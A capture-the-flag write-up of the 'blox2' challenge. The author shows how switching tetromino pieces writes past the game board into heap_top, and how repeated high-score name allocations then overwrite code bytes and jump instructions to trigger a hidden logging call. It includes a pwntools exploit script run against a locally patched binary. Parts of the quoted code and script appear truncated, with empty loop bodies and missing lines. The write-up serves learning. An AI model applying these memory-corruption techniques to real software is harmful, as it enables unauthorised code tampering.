blox2 - 15 solves (300 points)


You proven yourself a master of Blox, now give the arcade machine a good old-fashioned 80s-era pwning. (NOTE: The WarGames site itself is not in scope, just the Blox Game. If you do find a security issue on the site, feel free to send it to us at support(at)


blox1 has to be solved in order to solve blox2.
I didn’t manage to solve the pwn part of the challenge during the CTF, but after I saw some writeups from 2 other teams, I decided to write my own, with a different solution.
For a bit more context, I recommend you read my other write up on blox1 too.
Based on the reverse part (blox1), we were able to get cheat codes in the game, which we can use to override the original call to hw_log and replace the 0xbadb01 value with 0x41414141 without upgrading our Write Primitive. Other than that, we can override the checks (Just the jumps) that originally checked for the first flag.

Searching for Vulnerabilities

In the given source, we can see what we have to do in order to get the second flag:

// magic values for the hardware logging mechanism
// hacking is grounds for voiding this machine's warranty
#define LOG_CHEATING 0xbadb01
#define LOG_HACKING 0x41414141
void hw_log(int reason) {
    syscall(1337, reason);

We need to call hw_log with 0x41414141 as 0xbadb01 was used in the blox1 challenge.

Since we’re able to change our tetromino to whatever we want, we can do this last second, for example if we change from an I to an O, we’re able to write outside the boards array into the stuff which is located next to it, coincidentally, the heap_top variable is right below it:

else if (cheats_enabled) {
    int idx = str_index_of(" IJLOSZT", op);
    if (idx > 0)
        g_cur_mino = idx;

Furthermore, this heap_top variable is only used in the custom malloc function:

void* malloc(unsigned long n) {
    if (!heap_top)
        heap_top = heap;

    if (heap_top+n >= (void*)&heap[sizeof(heap)]) {
    void* p = heap_top;
    heap_top += n;
    return p;

In here, we can see that if we call malloc with a size n, it allocates n bytes from the heap and adding n to heap_top, starting from heap_top, and returning a pointer to that location. It also checks if the heap_top + size n is bigger than the actual size of the heap, which means that we’re unable to set our heap_top to any value beyond the heap.
Continuing, this malloc function is called inside the check_high_score function, which checks whether there is a new high score in the top 5 and if there is, it calls malloc where it allows the user to enter a 3 letter name (or nothing), which is then added to the high_score_names array as well as the score, which is also added to the high_scores array:

bool check_high_score() {
    unsigned int idx;
    for (idx = 0; idx < NHIGH_SCORES; idx++)
        if (g_score > high_scores[idx])
    if (idx == NHIGH_SCORES)
        return 0;

    writestr("  NEW HIGH SCORE!!!\n");
    char* name = malloc(4);
    writestr("Enter your name, press enter to confirm\n");

    int nameidx = 0;
    char c;
    while ((c = getchar()) != '\n') {
        if (c == '\b' || c == '\x7f') { // backspace characters
            if (nameidx) {
                name[--nameidx] = 0;
        else {
            if (c >= 'a' && c <= 'z')
                c -= 0x20;
            if (c >= 'A' && c <= 'Z' && nameidx < 3) {
                name[nameidx++] = c;

    for (unsigned int i = NHIGH_SCORES-1; i > idx; i--) {
        high_scores[i] = high_scores[i-1];
        high_score_names[i] = high_score_names[i-1];

    high_scores[idx] = g_score;
    high_score_names[idx] = name;
    return 1;

Also, in here, we can see that our name can only consist of capital letters from the alphabet…

Controlling heap_top

Now we know that we can somehow put a value in heap_top and if we get a new highscore, it will allow us to write 3 letters in the location at heap_top.
After a bit of trial and error, we found out that if we quickly change our tetromino from for example an I to an O (In the bottom left corner), it modifies the heap_top. After a bit of debugging, we found out what was going on:

In here, you can see that the complete bottom left pixel/spot corresponds with the fourth byte of heap_top, the spot next to it, to the third etc.
Also, every mino has it’s own value:

#define TTR_I 1
#define TTR_J 2
#define TTR_L 3
#define TTR_O 4
#define TTR_S 5
#define TTR_Z 6
#define TTR_T 7

Which means that if we get the O piece at the bottom left, the fourth (and third) byte of heap_top will be set to 04. This means that we’re just partially able to control heap_top, but thanks to the malloc function, everytime it gets called, heap_top is incremented by 4.


Looking at the disassembly of the original code:

0x4011d2:  mov     eax, 0x0
0x4011d7:  call    place_cur_mino
0x4011dc:  mov     eax, 0x0
0x4011e1:  call    check_full_lines
0x4011e6:  movzx   eax, byte [rel cheats_enabled]
0x4011ed:  test    al, al
0x4011ef:  jne     0x401210
0x4011f1:  mov     eax, 0x0
0x4011f6:  call    check_cheat_codes
0x4011fb:  test    al, al
0x4011fd:  je      0x401210
0x4011ff:  mov     byte [rel cheats_enabled], 0x1
0x401206:  mov     edi, 0xbadb01
0x40120b:  call    hw_log

We can see that in the compiled binary, the value 0xbadb01 is constant and we need to get it to 0x41414141 (Just 4 A’s). Next to that, we need to override the two checks, which check whether we already completed the cheat or not.


During the CTF, I thought that if someone didn’t enter a username, the bytes allocated by malloc were set to 0, however, the bytes just keep their original value..
With this all in mind, we can make a plan:

  1. Modify heap_top, to something we can use to get to 0x401207 to override 0xbadb01 with 0x41414141
  2. Repeat step 1, since we’re only able to write 3 of the 4 required A’s
  3. Override the two jump’s with some other opcode

Step 1

To do this, we need to set our heap_top to the highest possible value possible using the tetromino, while keeping the difference between our target (0x401207) and our value divisible by 4 (The value malloc increases heap_top by).
To do this, I took an I, modified it to a T at the last second, filled the bottom layer so it got removed and reproduced the step. Which set the heap_top to 0x0040070b (0xb instead of 0x7, because we got an highscore and the 40 because of it’s original value).
Since we need to reach our target of 0x401207, we need to get a new highscore 703 times in a row ((0x00401207 - 0x0040070b) / 4). Obviously, this is going to take a while, but we can cheat a little bit using the cheat codes.

Step 2

Essentially, we need to do the same thing, but instead of changing the I into a T the second time, I first replace the I with a S at the bottom left, and then did the T.
This got the heap_top to 0x00400705, to now override the last byte of 0xbadb01, we need to again, get a highscore 805 times in a row, but now even higher than the highest high score of Step 1 ((0x00401209 - 0x00400705) / 4).

Step 3

The last step is essentially also the same as the first 2. We need to get our heap_top value to something, so we can reach our jumps and override them. However, now we can cheat a little and combine Step 3 with Step 1 and Step 2, since those jumps, are first, we can take the loop of Step 1 for example, stop at such a jump, override and continue, without resetting the heap_top. This saves a lot of time.
Something to override those jumps with, can for example just be a B, which is just: inc edx.


Putting this all together, resulted in the following code:

from pwn import *
import math
import struct

currentScore = 1

p = process("./bloxModified")

def startGame():

def die(name, score=0):
    if score == 0:
        p.send("wI " * 5)
        #Try to optimize the code...
        rightLeft = score % 40

        stacksRight = int(math.floor(rightLeft / 2.0))
        stacksLeft = int(math.ceil(rightLeft / 2.0))
        totalStacks = int(math.floor(score / 40.0))

        for i in range((score // 40) * 4):
            p.send("I" + 5 * "a" + " ")
            p.send("I" + 1 * "a" + " ")
            p.send("I" + 3 * "d" + " ")  
        for i in range(stacksRight):
            p.send("I" + 3 * "d" + " ")
        for i in range(stacksLeft):
            p.send("I" + 5 * "a" + " ")

        p.send("wI " * 5)


def enableCheats():
    for i in range(2):
        p.send(" "*12)

    p.send("waaaaa ")
    p.send("aaa " * 2)
    p.send("ddw ")
    p.send("waaaaa ")
    p.send("aaa ")
    p.send("aaaaa " * 2)
    p.send("waaaaa "*3)
    p.send("waaa "*4)
    p.send("wa ")
    p.send(" " * 2)
    p.send("ddddd " * 2)
    p.send(" ")
    p.send("ddddd ")
    p.send(" "*5)

def preciseMovements(moves, a, s):
    p.send("a" * a)
    p.send(" ")

def setHeapTop1():
    preciseMovements(["wO", "T"], 5, 18)
    p.send("I" + 3*"a" + " ")
    p.send("I" + "d" + " ")
    p.send("Z" + "d"* 5 + " ")
    preciseMovements(["wO", "T"], 4, 18)

def setHeapTop2():
    preciseMovements(["I", "S"], 5, 19)
    p.send("Iw" + 5*"a" + " ")
    p.send("I" + 2*"a" + " ")
    p.send("I" + 2*"d" + " ")
    p.send("Iw" + "d"* 6 + " ")
    preciseMovements(["wO", "T"], 4, 18)

def restart(name=""):
    global currentScore
    die(name, currentScore)
    currentScore += 1

#enable cheats / reveal first flag

#set the heap_top to 0x0040070b

#loop until we reach the first jump to override
for i in range((0x004011ef - 0x0040070b)//4):

#override the jump with
#inc edx

#loop until we reach 0xbadb01
for i in range((0x00401207 - 0x004011F3) // 4):

#override the first bytes of 0xbadb01 with 0x414141

#set the heap_top to 0x00400705, 2 off of the first time

#loop until we reach the second jump to override
for i in range((0x004011fd - 0x00400705)//4):

#override the jump with
#inc edx

for i in range((0x00401209 - 0x00401201)//4):

#and finally, set the last byte of 0xbadb01 to 0x41

#print the flag :)
p.send(" " * 10)

This code is not really optimized and it takes like a minute for it to get the flag.
Note that I patched a version of the binary, since it was rather slow with the complete output and it always timed out in the remote server
bloxModifed is a modified version, without any output and when hw_log gets called, it will output IJLOSZT.
bloxModified2 is the same, but in hw_log it compares the supplied code to 0x41414141 and only if they match it prints IJLOSZT